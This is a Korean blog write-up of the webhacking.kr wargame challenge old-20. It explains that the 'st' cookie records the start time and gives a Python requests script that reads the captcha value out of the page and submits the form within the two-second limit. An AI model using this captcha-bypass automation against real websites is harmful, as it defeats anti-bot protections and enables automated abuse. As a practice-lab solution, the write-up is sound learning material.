
1. 문제 정보
- 문제 번호 : old -20
- 문제 점수 : 20점
2. 문제 분석
20번 문제는 닉네임과 코맨트 그리고 captcha를 2초안에 통과해야하는 문제이다.

어플리케이션에서 쿠키를


봤을 때 st가 새로고침할 때마다 증가하므로 스타트 타임인 것을 알 수 있다.
3. 풀이
그냥 st를 좀 크게 설정해서 보내보자

그러면 no Cheat가 나온다.

파이썬으로 GET요청을 파싱해서 POST요청을 보내보면
import requests
import re # 정규표현식 모듈
# 1. 설정 정보
url = "https://webhacking.kr/challenge/code-4/"
cookies = {
"PHPSESSID": "" # 본인의 세션 ID
}
s = requests.Session()
s.cookies.update(cookies)
try:
# [STEP 1] GET 요청 (페이지 방문, 쿠키 획득)
res_get = s.get(url)
match = re.search(r'name=captcha_ value="([^"]+)"', res_get.text)
if match:
captcha_value = match.group(1)
print(f"[*] 획득한 캡차 값: {captcha_value}")
else:
print("[!] 캡차 값을 찾지 못했습니다. 로그인 상태를 확인하세요.")
exit()
payload = {
"id": "gemini",
"cmt": "success",
"captcha": captcha_value
}
res_post = s.post(url, data=payload)
if "flag" in res_post.text or "solve" in res_post.text:
print("\n[SUCCESS] 결과 응답:")
print(res_post.text)
else:
print("\n[FAIL] 응답 결과 (일부분):")
print(res_post.text[:300])
except Exception as e:
print(f"Error: {e}")

풀린다.
4. 요약
- 2초라는 짧은 제한 시간과 동적 캡차 검증을 통과해야 하는 문제로 st 쿠키 조작 시에는 'No Cheat'가 출력된다.
- 이를 해결하기 위해 requests 모듈로 세션을 유지하며 캡차 값을 파싱하는 자동화 스크립트를 작성했다.
- 스크립트를 통해 GET 요청으로 얻은 캡차 값을 포함해 제한 시간 내에 빠르게 POST 요청을 전송하여 문제를 해결했다.
'워게임 > webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old-32 문제 (0) | 2026.01.20 |
|---|---|
| [webhacking.kr] old-14 문제 (0) | 2026.01.20 |
| [webhacking.kr] old-17 문제 (0) | 2026.01.20 |
| [webhacking.kr] old-06문제 (0) | 2026.01.20 |
| [webhacking.kr] old-15문제 (0) | 2026.01.20 |